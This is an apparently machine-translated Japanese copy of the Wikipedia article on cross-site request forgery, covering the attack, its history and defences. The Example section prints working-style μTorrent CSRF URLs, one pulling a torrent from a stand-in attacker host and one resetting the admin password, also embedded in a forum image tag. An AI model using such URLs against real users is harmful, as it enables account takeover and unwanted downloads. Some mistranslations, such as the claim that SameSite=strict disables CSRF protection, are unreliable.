クロスサイトリクエストフォージェリ
Malicious website exploit where unauthorized commands are transmitted from a trusted user

クロスサイトリクエストフォージェリは、ワンクリック攻撃やセッションライディングとも呼ばれ、CSRF（シーサーフ[1]と発音されることもある）またはXSRFと略され、 WebサイトまたはWebアプリケーションの悪意のあるエクスプロイトの一種であり、 Webアプリケーションが信頼するユーザーから許可されていないコマンドが送信されます。 [2]悪意のあるWebサイトがこのようなコマンドを送信する方法は多数あります。たとえば、特別に細工された画像タグ、隠しフォーム、JavaScriptフェッチまたはXMLHttpRequestsはすべて、ユーザーが操作したり、知らないうちに機能する可能性があります。ユーザーが特定のサイトに対して持っている信頼を悪用するクロスサイトスクリプティング（XSS）とは異なり、CSRFはサイトがユーザーのブラウザに持っている信頼を悪用します。[3] CSRF攻撃では、無実のエンドユーザーが攻撃者に騙されて、意図しないWebリクエストを送信してしまいます。これにより、Web サイトで、クライアントまたはサーバーのデータの不注意による漏洩、セッション状態の変更、エンド ユーザーのアカウントの操作などのアクションが実行される可能性があります。

「CSRF」という用語は、ヘッダー データ、フォーム データ、または Cookie を使用して CSRF 攻撃をテストし、防止する手法など、CSRF 攻撃に対する防御の略語としても使用されます。

特徴

CSRF攻撃において、攻撃者の目的は、無実の被害者が、特権アクセスを持つウェブサイトに、悪意を持って細工されたウェブリクエストを無意識のうちに送信させることです。このウェブリクエストは、リクエストを処理するウェブサーバーにとって正常に見えるURLパラメータ、Cookie、その他のデータを含むように細工される可能性があります。リスクにさらされるのは、信頼され認証されたユーザーからの入力に基づいて、ユーザーに特定のアクションの承認（ポップアップ確認など）を求めることなくアクションを実行するウェブアプリケーションです。ユーザーのウェブブラウザに保存されたCookieによって認証されたユーザーは、知らないうちに、自分を信頼しているサイトに HTTPリクエストを送信し、望ましくないアクションを引き起こす可能性があります。

ウェブブラウザの一般的な特性として、特定のドメインが使用するあらゆるCookie（セッションCookieなどを含む）が、そのドメインへのウェブリクエストに自動的に、かつ目に見えない形で組み込まれるという点があります。[4]この特性はCSRF攻撃によって悪用されます。ユーザーがブラウザ経由で誤ってリクエストを送信した場合、これらの自動的に組み込まれたCookieによって、偽造されたリクエストがウェブサーバーに本物のように見せかけられ、データの返送、セッション状態の操作、被害者のアカウントの変更など、要求されたアクションが実行されます。

CSRF 攻撃を成功させるには、攻撃者は、標的のページでアカウントのパスワードを変更するなどの特定のアクションを実行する再現可能な Web リクエストを特定する必要があります。このようなリクエストが特定されると、この悪意のあるリクエストを生成するリンクが作成され、そのリンクが攻撃者の管理下にあるページに埋め込まれます。[1] [5]このリンクは、被害者がクリックする必要すらないような方法で配置される場合があります。たとえば、被害者に送信された電子メールの HTML 画像タグ内に埋め込まれ、被害者が電子メールを開くと自動的に読み込まれる場合があります。被害者がリンクをクリックすると、ブラウザはその Web サイトで使用されるすべての Cookie を自動的に含め、Web サーバーにリクエストを送信します。リクエストはログインしたユーザーによって行われ、必要な Cookie がすべて送信されているため、Web サーバーは偽造を識別できません。

クロスサイト リクエスト フォージェリは、権限の低い攻撃者によって Web ブラウザーが騙されて偽造されたリクエストを送信する、Web ブラウザーに対する 混乱した代理攻撃の一例です。

CSRF には一般的に次のような特徴があります。

  • これには、ユーザーのIDに依存するサイトが含まれます。
  • それは、そのアイデンティティに対するサイトの信頼を悪用します。
  • ユーザーのブラウザを騙して、ユーザーがすでに認証されているターゲット サイトにHTTPリクエストを送信させます。
  • 副作用のある HTTP リクエストが関係します。

歴史

CSRFトークンの脆弱性は2001年から知られており、場合によっては悪用されています。[6]ユーザーのIPアドレスから実行されるため、一部のウェブサイトのログにはCSRFの証拠が残らない可能性があります。[2]少なくとも公的には、悪用の報告は少なく、2007年時点では[7]十分に文書化された例はほとんどありませんでした。

  • 2006年のNetflixのウェブサイトにはCSRFに対する脆弱性が多数存在し、攻撃者は被害者のレンタルキューにDVDを追加したり、アカウントの配送先住所を変更したり、被害者のログイン資格情報を変更してアカウントを完全に侵害したりするなどの操作を実行できた可能性があります。[8]
  • ING Directのオンラインバンキングウェブアプリケーションは、不正な送金を可能にするCSRF攻撃に対して脆弱でした。[9]
  • 人気動画サイトYouTubeも2008年にCSRFの脆弱性を突かれ、攻撃者はユーザーのほぼすべての操作を実行できるようになりました。[9]
  • McAfee SecureもCSRFの脆弱性を抱えており、攻撃者が企業システムを変更する可能性がありました。これは新しいバージョンで修正されています。[10]

例

CSRFの脆弱性を説明する国家脆弱性データベースのページ

攻撃者は、被害者がログインしている間に標的ページで特定のアクションを実行する再現可能なリンクを見つけることができれば、自分が管理するページにそのようなリンクを埋め込み、被害者を騙してそのページを開かせることができます。[1]攻撃の媒介となるリンクは、被害者が標的サイトにログイン中に訪れる可能性が高い場所（例えば、ディスカッションフォーラム）に配置されるか、HTML形式の電子メールの本文や添付ファイルで送信される可能性があります。μTorrentの実際のCSRF脆弱性（CVE-2008-6586）は、 localhost :8080でアクセス可能なWebコンソールが、単純なGETリクエストで重要なアクションを実行できるという事実を悪用しました。

.torrentファイルのダウンロードを強制する
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
μTorrent管理者パスワードを変更する
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

攻撃は、フォーラムやスパムメールに悪意のある自動動作のHTML画像要素を配置することで開始されました。これにより、これらのページにアクセスしたブラウザは、ユーザーの操作をほとんど必要とせずに、自動的にページを開くようになりました。これらのページを開く際に、脆弱なバージョンのμTorrentを実行しているユーザーは、攻撃の影響を受けやすい状態でした。

画像タグを使用した CSRF 攻撃は、多くの場合、ユーザーが画像の投稿は許可されているもののJavaScript の投稿は許可されていないインターネット フォーラムから行われます(例: BBCodeを使用)。 

[画像] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/画像]

localhost:8080にあるローカルμTorrentアプリケーションへの攻撃リンクにアクセスすると、ブラウザは常にそのドメインの既存のCookieを自動的に送信します。このWebブラウザの一般的な特性により、CSRF攻撃は、攻撃時にユーザーが標的のWebサイト（この例ではローカルμTorrent Webインターフェース）にログインしている限り、標的の脆弱性を悪用して悪意のあるアクションを実行することが可能になります。

前述の μTorrent の例では、μTorrent の Web インターフェースが、 RFC 2616 で明示的に推奨されていない重要な状態変更操作 (資格情報の変更、ファイルのダウンロードなど) にGET リクエストを使用していたため、 攻撃が容易になりました。

特に、GETメソッドとHEADメソッドは、取得以外のアクションを実行する意味を持つべきではないという慣例が確立されています。これらのメソッドは「安全」であるとみなされるべきです。これにより、ユーザーエージェントはPOST、PUT、DELETEなどの他のメソッドを特別な方法で表現することができ、ユーザーは安全でない可能性のあるアクションが要求されていることを認識できます。

この仮定のため、ウェブフレームワークにおける既存のCSRF防止メカニズムの多くはGETリクエストをカバーせず、状態を変更することを意図したHTTPメソッドにのみ保護を適用します。[11]

ログインリクエストの偽造

攻撃者は、自身の認証情報を用いて、被害者を標的のウェブサイトにログインさせるためのリクエストを偽造することがあります。これはログインCSRFと呼ばれています。ログインCSRFは、様々な新しい攻撃を可能にします。例えば、攻撃者は後から正当な認証情報を用いてサイトにログインし、アカウントに保存されているアクティビティ履歴などの個人情報を閲覧することが可能です。この攻撃は、Google [12]とYahoo [13]に対して実証されています。

HTTP動詞とCSRF

HTTP リクエストメソッドは、その種類によってCSRF攻撃の影響を受けやすい度合いが異なります（ Webブラウザによる処理の違いによる）。そのため、攻撃に対する防御策はHTTPリクエストメソッドによって異なります。

CSRFに対する他のアプローチ

さらに、CSRFは通常は静的な攻撃として説明されますが、Samyワームが示すように、クロスサイトスクリプティング攻撃のペイロードの一部として動的に構築されることもあります。また、オフサイトコンテンツから漏洩したセッション情報からオンザフライで構築され、悪意のあるURLとしてターゲットに送信されることもあります。CSRFトークンは、セッション固定化などの脆弱性を利用して攻撃者によってクライアントに送信されたり、ブルートフォース攻撃によって推測され、数千もの失敗したリクエストを生成する悪意のあるページにレンダリングされたりする可能性があります。「動的CSRF」、つまりクライアントごとのペイロードを使用してセッション固有の偽造を行う攻撃クラスは、2009年のBlackHat Briefings [17]でNathan HamielとShawn Moyerによって説明されましたが[16] 、この分類法はまだ広く普及していません。

2012年1月に開催されたOWASP支部会合において、オーレン・オファー氏が動的CSRF攻撃を構成するための新たなベクトル「AJAX Hammer - 動的CSRF」を発表しました。[18] [19]

効果

ルート権限によるリモートコード実行につながるCSRFトークンの脆弱性[20]や、ルート証明書を侵害して公開鍵インフラストラクチャを完全に損なう脆弱性についても、深刻度メトリックが発行されています。[21]

制限事項

クロスサイト リクエスト フォージェリが成功するには、いくつかのことが起こる必要があります。

  1. 攻撃者は、リファラーヘッダーをチェックしないサイトか、リファラースプーフィングを許可するブラウザやプラグインを使用している被害者をターゲットにする必要があります。[22]
  2. 攻撃者は、ターゲット サイトでフォーム送信を見つけるか、副作用のある URL を見つけて何かを実行する必要があります (例: 送金、被害者の電子メール アドレスやパスワードの変更)。
  3. 攻撃者は、すべてのフォームまたは URL 入力の正しい値を決定する必要があります。入力値のいずれかに攻撃者が推測できない秘密の認証値または ID が必要な場合は、攻撃が失敗する可能性が高くなります (攻撃者が非常に幸運にも推測できる場合を除く)。
  4. 攻撃者は、被害者がターゲット サイトにログインしている間に、悪意のあるコードを含む Web ページに被害者を誘導する必要があります。

この攻撃は盲目的です。つまり、攻撃者は、クロスサイトスクリプティングなどの標的ウェブサイトのバグを悪用しない限り、偽造されたリクエストに対する応答として標的ウェブサイトが被害者に何を返すかを見ることはできません。同様に、攻撃者は、最初の偽造リクエストの後に表示されるリンクやフォームを送信するために、後続のリンクやフォームも同様に予測可能である場合にのみ攻撃を行うことができます。（複数のターゲットをシミュレートするには、ページに複数の画像を配置するか、JavaScriptを使用してクリック間に遅延を発生させます。）[23]

防止

ほとんどの CSRF 防止技術は、追加の認証データをリクエストに埋め込むことで機能し、Web アプリケーションが不正な場所からのリクエストを検出できるようにします。

同期トークンパターン

シンクロナイザートークンパターン（STP）は、各リクエストに固有の秘密値であるトークンをWebアプリケーションがすべてのHTMLフォームに埋め込み、サーバー側で検証する手法です。トークンは、予測不可能かつ一意性を保証する任意の方法（例えば、ランダムシードのハッシュチェーンの使用）で生成できます。これはASP.NETでは偽造防止トークンと呼ばれます。これにより、攻撃者は正しいトークンをリクエストに挿入して認証を行うことができません。[1] [24] [25]

Django によって HTML フォームに設定される STP の例: 

<入力タイプ= "hidden"名前= "csrfmiddlewaretoken"値= "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

STPはHTMLのみを使用するため、最も互換性が高いですが、リクエストごとにトークンの有効性を確認する負荷がかかるため、サーバー側で多少の複雑さが生じます。トークンは一意で予測不可能であるため、イベントの適切なシーケンス（例：画面1、2、3）が強制され、ユーザビリティの問題（ユーザーが複数のタブを開くなど）が発生します。リクエストごとのCSRFトークンではなく、セッションごとのCSRFトークンを使用することで、この問題を緩和できます。

操作の大部分に JavaScriptを使用する Web アプリケーションでは、次の CSRF 対策技術を使用できます。

  • 関連するサーバーセッションがない状態で初めてアクセスした場合、ウェブアプリケーションはCookieを設定します。Cookieには通常、ランダムなトークンが含まれており、ウェブセッションが終了するまで同じままになることがあります。
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; 有効期限=2015年7月23日(木) 10:25:33 GMT; 最大年齢=31449600; パス=/; SameSite=Lax; セキュア

X-Csrf-トークン: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • サーバーはトークンの存在と整合性を検証します

この手法のセキュリティは、Cookieを最初に設定したサーバーへのHTTPS接続のクライアント側で実行されるJavaScriptのみがCookieの値を読み取ることができるという前提に基づいています。不正なファイルやメールから実行されるJavaScriptは、Cookieの値を正しく読み取ってカスタムヘッダーにコピーすることはできません。不正なリクエストと共にcsrf-token Cookieが自動的に送信される場合でも、CookieのSameSiteポリシーに従い、サーバーは有効なX-Csrf-Tokenヘッダーを期待します。

CSRFトークン自体は一意かつ予測不可能である必要があります。ランダムに生成される場合もあれば、HMACを使用してセッショントークンから派生される場合もあります。 

csrf_token = HMAC(セッショントークン、アプリケーションシークレット)

CSRF トークン クッキーは設計上 JavaScriptによって読み取られることを意図しているため、httpOnlyフラグを設定してはなりません。

この技術は、 Django [26]やAngularJS [27]などの多くの最新のフレームワークで実装されています。トークンはユーザーセッション全体にわたって一定に保たれるため、AJAXアプリケーションではうまく機能しますが、Webアプリケーションでのイベントのシーケンスを強制しません。

対象の Web サイトが次のいずれかの手法を使用して 同一オリジン ポリシーを無効にした場合、この手法によって提供される保護が妨げられる可能性があります。

  • clientaccesspolicy.xmlファイルがSilverlightコントロールへの意図しないアクセスを許可する[28]
  • crossdomain.xmlファイルがFlashムービーへの意図しないアクセスを許可する[29]

Cookie-to-Headerアプローチと同様ですが、JavaScriptを介さずに、サイトはCSRFトークンをCookieとして設定し、各HTMLフォームのhiddenフィールドとして挿入することができます。フォームが送信されると、サイトはCookieトークンがフォームトークンと一致するかどうかを確認できます。同一オリジンポリシーにより、攻撃者は標的ドメインのCookieを読み取ったり設定したりすることができないため、細工したフォームに有効なトークンを挿入することはできません。[30]

この手法がSynchronizerパターンよりも優れている点は、トークンをサーバーに保存する必要がないことです。ただし、対象となるサイトにCookie設定機能がある場合、この保護は回避される可能性があります。

サーバーがCookieを設定する際に「SameSite」属性を追加することで、ブラウザにクロスサイトリクエストにCookieを添付するかどうかを指示することができます。この属性を「strict」に設定すると、Cookieは同一サイトリクエストにのみ送信され、CSRF対策は無効になります。ただし、ブラウザがこの属性を認識し、正しく実装する必要があります。[31]

クライアント側の安全対策

RequestPolicy（ Mozilla Firefox用）やuMatrix（FirefoxとGoogle Chrome / Chromium用）などのブラウザ拡張機能は、クロスサイトリクエストに対してデフォルトで拒否ポリシーを提供することでCSRFを防止できます。ただし、これは多くのウェブサイトの通常の動作に重大な支障をきたす可能性があります。CsFire拡張機能（Firefox用）は、クロスサイトリクエストから認証情報を削除することで、通常のブラウジングへの影響を抑えながらCSRFの影響を軽減できます。

FirefoxのNoScript拡張機能は、信頼できるサイトと信頼できないサイトを区別し、信頼できないサイトから信頼できるサイトへのPOSTリクエストから認証情報とペイロードを削除することで、CSRFの脅威を軽減します。また、NoScriptのApplication Boundary Enforcerモジュールは、インターネットページからローカルサイト（localhostなど）へのリクエストをブロックし、ローカルサービス（uTorrentなど）やルーターへのCSRF攻撃を防ぎます。

Firefox の Self Destructing Cookies 拡張機能は、CSRF から直接保護するものではありませんが、開いているタブに関連付けられなくなった Cookie をすぐに削除することで、攻撃期間を短縮できます。

その他の技術

歴史的には、CSRF 防止のためにさまざまな他の手法が使用または提案されてきました。

  • リクエストのヘッダーX-Requested-Withに（Ruby on Rails v2.0以前およびDjango v1.2.5以前で使用）が含まれているか確認するか、HTTPRefererヘッダーと/またはHTTPOriginヘッダーをチェックします。[32]
  • HTTPRefererヘッダーをチェックしてリクエストが承認されたページからのものか確認する方法は、メモリ要件を増やさないことから組み込みネットワークデバイスでよく使用されています。しかし、Referer攻撃者はRefererFTPやHTTPSのURLからリクエストを発行することでヘッダーを抑制できるため、ヘッダーを省略したリクエストは承認されていないものとして扱う必要があります。この厳格なReferer検証は、プライバシー上の理由でヘッダーを省略するブラウザやプロキシで問題を引き起こす可能性があります。また、古いバージョンのFlash（9.0.18より前）では、悪意のあるFlashがCRLFインジェクションRefererを使用して任意のHTTPリクエストヘッダーを持つGETまたはPOSTリクエストを生成する可能性があります。[33]クライアントの同様のCRLFインジェクションの脆弱性は、HTTPリクエストのリファラーを偽装するために使用できます。
  • POSTリクエストメソッドは、 URLパラメータ（GETメソッド）を用いた軽微なCSRF攻撃には耐性があると考えられていました。しかし、現在ではPOSTメソッドも他のHTTPメソッドもXMLHttpRequestメソッドを用いて容易に実行できます。予期しないGETリクエストをフィルタリングすることで、悪意のある画像URLやリンクアドレスを用いたクロスサイト攻撃や、要素を介したクロスサイト情報漏洩<script>（JavaScriptハイジャック）といった特定の攻撃を防ぐことができます。また、攻撃的なウェブクローラーやリンクプリフェッチによる（セキュリティとは関係のない）問題も防ぐことができます。[1]

クロスサイトスクリプティング（XSS）の脆弱性（同じドメインで実行されている他のアプリケーションであっても）により、攻撃者は基本的にすべてのCSRF防止策を回避できます。[34]

参照

参考文献

  1. ^ abcde Shiflett, Chris (2004年12月13日). 「セキュリティコーナー：クロスサイトリクエストフォージェリ」. php|architect (shiflett.org経由) . 2008年7月3日閲覧。
  2. ^ ab リスティック、イワン (2005)。Apache のセキュリティ。オライリーメディア。 p. 280.ISBN​ 0-596-00724-8。
  3. ^ 「クロスサイトリクエストフォージェリ (CSRF) とは何か、どのように機能するのか? | Synopsys」。
  4. ^ Barth, Adam (2011年4月). HTTP状態管理メカニズム（レポート）. インターネット技術タスクフォース.
  5. ^ 「CSRF（クロスサイトリクエストフォージェリ）とは？チュートリアルと例」portswigger.net . 2019年11月4日閲覧。
  6. ^ Burns, Jesse (2005). 「クロスサイトリクエストフォージェリ：Webの一般的な弱点入門」(PDF) . Information Security Partners, LLC. 2013年1月21日時点のオリジナル(PDF)からアーカイブ。 2011年12月12日閲覧。
  7. ^ Christey, Steve; Martin, Robert A. (2007年5月22日). 「CVEにおける脆弱性タイプの分布（バージョン1.1）」. MITRE Corporation . 2008年6月7日閲覧。
  8. ^ Washkuch Jr., Frank (2006年10月17日). 「Netflixがクロスサイトリクエストフォージェリの脆弱性を修正」SC Magazine . 2019年2月11日閲覧。
  9. ^ William Zeller、Edward W. Felten (2008年10月). 「クロスサイトリクエストフォージェリ：悪用と防止」(PDF) . 2015年5月29日閲覧。
  10. ^ Mike, Bailey (2009). 「CSRF: ええ、それでもまだ機能します…」(PDF) . DEFCON.
  11. ^ 「クロスサイトリクエストフォージェリ保護 | Djangoドキュメント | Django」。docs.djangoproject.com 。 2015年8月21日閲覧。
  12. ^ Adam Barth、Collin Jackson、John C. Mitchell、「クロスサイトリクエストフォージェリに対する堅牢な防御」、第15回ACMコンピュータおよび通信セキュリティ会議論文集、 ACM 2008
  13. ^ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
  14. ^ 「XML本文を含むPOSTリクエストに対するクロスサイトリクエストフォージェリ」。pentestmonkey . 2015年9月4日閲覧。
  15. ^ Sheeraj Shah (2008). 「Web 2.0 Hacking Defending Ajax & Web Services」（PDF） . HITB . 2015年9月4日閲覧。
  16. ^ “Security Fix - Weaponizing Web 2.0”. 2012年5月28日時点のオリジナルよりアーカイブ。
  17. ^ 動的CSRF 2010年2月13日アーカイブWayback Machine
  18. ^ Owasp.org: イスラエル 2012/01: AJAX Hammer – AJAX を利用した CSRF 攻撃 Archived 2013-10-01 at the Wayback Machine
  19. ^ ダウンロード – hasc-research – hasc-research – Google プロジェクトホスティング. Code.google.com (2013-06-17). 2014年4月12日閲覧。
  20. ^ 「脆弱性ノート VU#584089 - cPanel XSRF の脆弱性」。
  21. ^ 「脆弱性ノート VU#264385 - OpenCA によりクロスサイトリクエストフォージェリ (XSRF) が許可」。
  22. ^ 「強化されたクロスサイト攻撃防止」Espacenet . 欧州特許庁. 2019年11月21日閲覧。
  23. ^ 「CSRF：クロスサイトリクエストフォージェリ攻撃の説明」IONOS Digitalguide . 2022年4月26日閲覧。
  24. ^ 「クロスサイトリクエストフォージェリ（CSRF）防止チートシート」OWASP . 2019年7月19日閲覧。
  25. ^ “Valhalla Articles - Cross-Site Request Forgery: Demystified”. 2014年1月29日時点のオリジナルよりアーカイブ。
  26. ^ 「クロスサイトリクエストフォージェリ対策」Django. 2015年1月20日時点のオリジナルよりアーカイブ。2015年1月20日閲覧。
  27. ^ 「クロスサイトリクエストフォージェリ（XSRF）保護」AngularJS . 2015年1月20日閲覧。
  28. ^ 「ドメインの境界を越えてサービスを利用可能にする」。
  29. ^ Adamski, Lucas. 「Flash Player のクロスドメインポリシーファイルの使用に関する推奨事項 - Adob​​e Developer Connection」
  30. ^ 「二重送信Cookie防御」。OWASP。
  31. ^ 「SameSite Cookie」。Mozilla。2023年4月10日。
  32. ^ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine . People.mozilla.org. 2013年7月29日閲覧。
  33. ^ “Secunia Advisory SA22467”.セクニア。 2006 年 10 月 19 日。2012 年9 月 11 日に取得。
  34. ^ Schneider, Christian. 「CSRFと同一オリジンXSS」。2012年8月14日時点のオリジナルよりアーカイブ。2012年4月21日閲覧。
  • クロスサイトリクエストフォージェリに関する最も見過ごされがちな事実
  • クロスサイトリクエストフォージェリに関するFAQ
  • Webアプリケーションセキュリティコンソーシアム脅威分類プロジェクトによるクロスサイトリクエストフォージェリ
Retrieved from "https://en.wikipedia.org/w/index.php?title=Cross-site_request_forgery&oldid=1320346352"